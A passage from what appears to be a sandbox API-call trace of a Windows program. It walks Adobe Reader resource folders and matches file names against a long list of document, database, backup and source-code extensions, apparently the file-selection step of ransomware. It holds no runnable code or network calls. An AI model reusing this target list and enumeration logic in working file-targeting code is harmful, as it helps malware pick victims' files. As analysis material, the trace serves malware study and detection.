(lpString1=".asr", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".asx") returned 4 [0272.408] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".avi") returned 4 [0272.408] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.408] lstrlenW (lpString=".avs") returned 4 [0272.408] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".backup") returned 7 [0272.409] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.409] lstrlenW (lpString=".bak") returned 4 [0272.409] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".bay") returned 4 [0272.409] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".bd") returned 3 [0272.409] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.409] lstrlenW (lpString=".bin") returned 4 [0272.409] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".bmp") returned 4 [0272.409] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".bz2") returned 4 [0272.409] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".c") returned 2 [0272.409] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.409] lstrlenW (lpString=".cdr") returned 4 [0272.409] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".cer") returned 4 [0272.409] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".cf") returned 3 [0272.409] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.409] lstrlenW (lpString=".cfc") returned 4 [0272.409] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.409] lstrlenW (lpString=".cfm") returned 4 [0272.409] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".cfml") returned 5 [0272.410] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.410] lstrlenW (lpString=".cfu") returned 4 [0272.410] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".chm") returned 4 [0272.410] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".cin") returned 4 [0272.410] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".class") returned 6 [0272.410] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.410] lstrlenW (lpString=".clx") returned 4 [0272.410] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".config") returned 7 [0272.410] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.410] lstrlenW (lpString=".cpp") returned 4 [0272.410] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".cr2") returned 4 [0272.410] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".crt") returned 4 [0272.410] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".crw") returned 4 [0272.410] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".cs") returned 3 [0272.410] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.410] lstrlenW (lpString=".css") returned 4 [0272.410] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.410] lstrlenW (lpString=".csv") returned 4 [0272.411] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".cub") returned 4 [0272.411] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dae") returned 4 [0272.411] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dat") returned 4 [0272.411] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".db") returned 3 [0272.411] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.411] lstrlenW (lpString=".dbf") returned 4 [0272.411] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dbx") returned 4 [0272.411] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dc3") returned 4 [0272.411] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dcm") returned 4 [0272.411] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dcr") returned 4 [0272.411] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".der") returned 4 [0272.411] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dib") returned 4 [0272.411] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.411] lstrlenW (lpString=".dic") returned 4 [0272.411] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.412] lstrlenW (lpString=".dif") returned 4 [0272.412] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.412] lstrlenW (lpString=".divx") returned 5 [0272.412] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.412] lstrlenW (lpString=".djvu") returned 5 [0272.412] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.412] lstrlenW (lpString=".dng") returned 4 [0272.412] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.412] lstrlenW (lpString=".doc") returned 4 [0272.412] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.412] lstrlenW (lpString=".docm") returned 5 [0272.412] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.412] lstrlenW (lpString=".docx") returned 5 [0272.412] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.412] lstrlenW (lpString=".dot") returned 4 [0272.412] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.412] lstrlenW (lpString=".dotm") returned 5 [0272.412] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.412] lstrlenW (lpString=".dotx") returned 5 [0272.413] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.413] lstrlenW (lpString=".dpx") returned 4 [0272.413] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.413] lstrlenW (lpString=".dqy") returned 4 [0272.413] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.413] lstrlenW (lpString=".dsn") returned 4 [0272.413] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.413] lstrlenW (lpString=".dt") returned 3 [0272.413] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.413] lstrlenW (lpString=".dtd") returned 4 [0272.413] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.413] lstrlenW (lpString=".dwg") returned 4 [0272.413] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.413] lstrlenW (lpString=".dwt") returned 4 [0272.413] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.413] lstrlenW (lpString=".dx") returned 3 [0272.413] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.413] lstrlenW (lpString=".dxf") returned 4 [0272.413] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.413] lstrlenW (lpString=".edml") returned 5 [0272.414] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.414] lstrlenW (lpString=".efd") returned 4 [0272.414] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.414] lstrlenW (lpString=".elf") returned 4 [0272.414] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.414] lstrlenW (lpString=".emf") returned 4 [0272.414] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.414] lstrlenW (lpString=".emz") returned 4 [0272.414] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.414] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.414] FindClose (in: hFindFile=0x3315730 | out: hFindFile=0x3315730) returned 1 [0272.414] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.414] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0272.415] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.415] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma") returned 119 [0272.415] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0272.415] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.415] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.415] lstrlenW (lpString="ui-strings.js") returned 13 [0272.415] lstrlenW (lpString=".1cd") returned 4 [0272.415] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.415] lstrlenW (lpString=".3ds") returned 4 [0272.415] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.415] lstrlenW (lpString=".3fr") returned 4 [0272.415] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.416] lstrlenW (lpString=".3g2") returned 4 [0272.416] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.416] lstrlenW (lpString=".3gp") returned 4 [0272.416] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.416] lstrlenW (lpString=".7z") returned 3 [0272.416] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.416] lstrlenW (lpString=".accda") returned 6 [0272.416] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.416] lstrlenW (lpString=".accdb") returned 6 [0272.416] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.416] lstrlenW (lpString=".accdc") returned 6 [0272.416] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.416] lstrlenW (lpString=".accde") returned 6 [0272.416] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.416] lstrlenW (lpString=".accdt") returned 6 [0272.416] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.416] lstrlenW (lpString=".accdw") returned 6 [0272.416] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.416] lstrlenW (lpString=".adb") returned 4 [0272.416] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.416] lstrlenW (lpString=".adp") returned 4 [0272.416] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.416] lstrlenW (lpString=".ai") returned 3 [0272.416] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.416] lstrlenW (lpString=".ai3") returned 4 [0272.416] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".ai4") returned 4 [0272.417] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".ai5") returned 4 [0272.417] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".ai6") returned 4 [0272.417] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".ai7") returned 4 [0272.417] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".ai8") returned 4 [0272.417] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".anim") returned 5 [0272.417] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.417] lstrlenW (lpString=".arw") returned 4 [0272.417] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".as") returned 3 [0272.417] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.417] lstrlenW (lpString=".asa") returned 4 [0272.417] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".asc") returned 4 [0272.417] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".ascx") returned 5 [0272.417] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.417] lstrlenW (lpString=".asm") returned 4 [0272.417] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.417] lstrlenW (lpString=".asmx") returned 5 [0272.417] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.417] lstrlenW (lpString=".asp") returned 4 [0272.418] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".aspx") returned 5 [0272.418] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.418] lstrlenW (lpString=".asr") returned 4 [0272.418] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".asx") returned 4 [0272.418] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".avi") returned 4 [0272.418] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".avs") returned 4 [0272.418] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".backup") returned 7 [0272.418] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.418] lstrlenW (lpString=".bak") returned 4 [0272.418] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".bay") returned 4 [0272.418] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".bd") returned 3 [0272.418] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.418] lstrlenW (lpString=".bin") returned 4 [0272.418] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".bmp") returned 4 [0272.418] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".bz2") returned 4 [0272.418] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.418] lstrlenW (lpString=".c") returned 2 [0272.418] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.418] lstrlenW (lpString=".cdr") returned 4 [0272.419] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".cer") returned 4 [0272.419] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".cf") returned 3 [0272.419] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.419] lstrlenW (lpString=".cfc") returned 4 [0272.419] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".cfm") returned 4 [0272.419] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".cfml") returned 5 [0272.419] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.419] lstrlenW (lpString=".cfu") returned 4 [0272.419] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".chm") returned 4 [0272.419] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".cin") returned 4 [0272.419] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".class") returned 6 [0272.419] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.419] lstrlenW (lpString=".clx") returned 4 [0272.419] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".config") returned 7 [0272.419] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.419] lstrlenW (lpString=".cpp") returned 4 [0272.419] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.419] lstrlenW (lpString=".cr2") returned 4 [0272.420] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".crt") returned 4 [0272.420] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".crw") returned 4 [0272.420] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".cs") returned 3 [0272.420] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.420] lstrlenW (lpString=".css") returned 4 [0272.420] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".csv") returned 4 [0272.420] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".cub") returned 4 [0272.420] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".dae") returned 4 [0272.420] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".dat") returned 4 [0272.420] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".db") returned 3 [0272.420] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.420] lstrlenW (lpString=".dbf") returned 4 [0272.420] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".dbx") returned 4 [0272.420] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".dc3") returned 4 [0272.420] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.420] lstrlenW (lpString=".dcm") returned 4 [0272.420] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".dcr") returned 4 [0272.421] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".der") returned 4 [0272.421] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".dib") returned 4 [0272.421] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".dic") returned 4 [0272.421] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".dif") returned 4 [0272.421] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".divx") returned 5 [0272.421] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.421] lstrlenW (lpString=".djvu") returned 5 [0272.421] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.421] lstrlenW (lpString=".dng") returned 4 [0272.421] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".doc") returned 4 [0272.421] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".docm") returned 5 [0272.421] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.421] lstrlenW (lpString=".docx") returned 5 [0272.421] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.421] lstrlenW (lpString=".dot") returned 4 [0272.421] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.421] lstrlenW (lpString=".dotm") returned 5 [0272.421] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.422] lstrlenW (lpString=".dotx") returned 5 [0272.422] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.422] lstrlenW (lpString=".dpx") returned 4 [0272.422] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.422] lstrlenW (lpString=".dqy") returned 4 [0272.422] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.422] lstrlenW (lpString=".dsn") returned 4 [0272.422] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.422] lstrlenW (lpString=".dt") returned 3 [0272.422] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.422] lstrlenW (lpString=".dtd") returned 4 [0272.422] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.422] lstrlenW (lpString=".dwg") returned 4 [0272.422] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.422] lstrlenW (lpString=".dwt") returned 4 [0272.422] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".dx") returned 3 [0272.423] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.423] lstrlenW (lpString=".dxf") returned 4 [0272.423] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".edml") returned 5 [0272.423] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.423] lstrlenW (lpString=".efd") returned 4 [0272.423] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".elf") returned 4 [0272.423] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".emf") returned 4 [0272.423] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".emz") returned 4 [0272.423] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".epf") returned 4 [0272.423] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".eps") returned 4 [0272.423] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0272.423] lstrlenW (lpString=".epsf") returned 5 [0272.423] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0272.423] lstrlenW (lpString=".epsp") returned 5 [0272.423] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0272.423] lstrlenW (lpString=".erf") returned 4 [0272.423] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".exr") returned 4 [0272.424] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".f4v") returned 4 [0272.424] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".fido") returned 5 [0272.424] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0272.424] lstrlenW (lpString=".flm") returned 4 [0272.424] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".flv") returned 4 [0272.424] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".frm") returned 4 [0272.424] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".fxg") returned 4 [0272.424] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".geo") returned 4 [0272.424] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".gif") returned 4 [0272.424] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".grs") returned 4 [0272.424] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0272.424] lstrlenW (lpString=".gz") returned 3 [0272.424] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0272.425] lstrlenW (lpString=".h") returned 2 [0272.425] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0272.425] lstrlenW (lpString=".hdr") returned 4 [0272.425] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".hpp") returned 4 [0272.425] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".hta") returned 4 [0272.425] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".htc") returned 4 [0272.425] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".htm") returned 4 [0272.425] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".html") returned 5 [0272.425] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0272.425] lstrlenW (lpString=".icb") returned 4 [0272.425] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".ics") returned 4 [0272.425] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".iff") returned 4 [0272.425] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".inc") returned 4 [0272.425] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".indd") returned 5 [0272.425] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0272.425] lstrlenW (lpString=".ini") returned 4 [0272.425] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0272.425] lstrlenW (lpString=".iqy") returned 4 [0272.426] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".j2c") returned 4 [0272.426] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".j2k") returned 4 [0272.426] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".java") returned 5 [0272.426] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0272.426] lstrlenW (lpString=".jp2") returned 4 [0272.426] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".jpc") returned 4 [0272.426] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".jpe") returned 4 [0272.426] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".jpeg") returned 5 [0272.426] lstrcmpiW 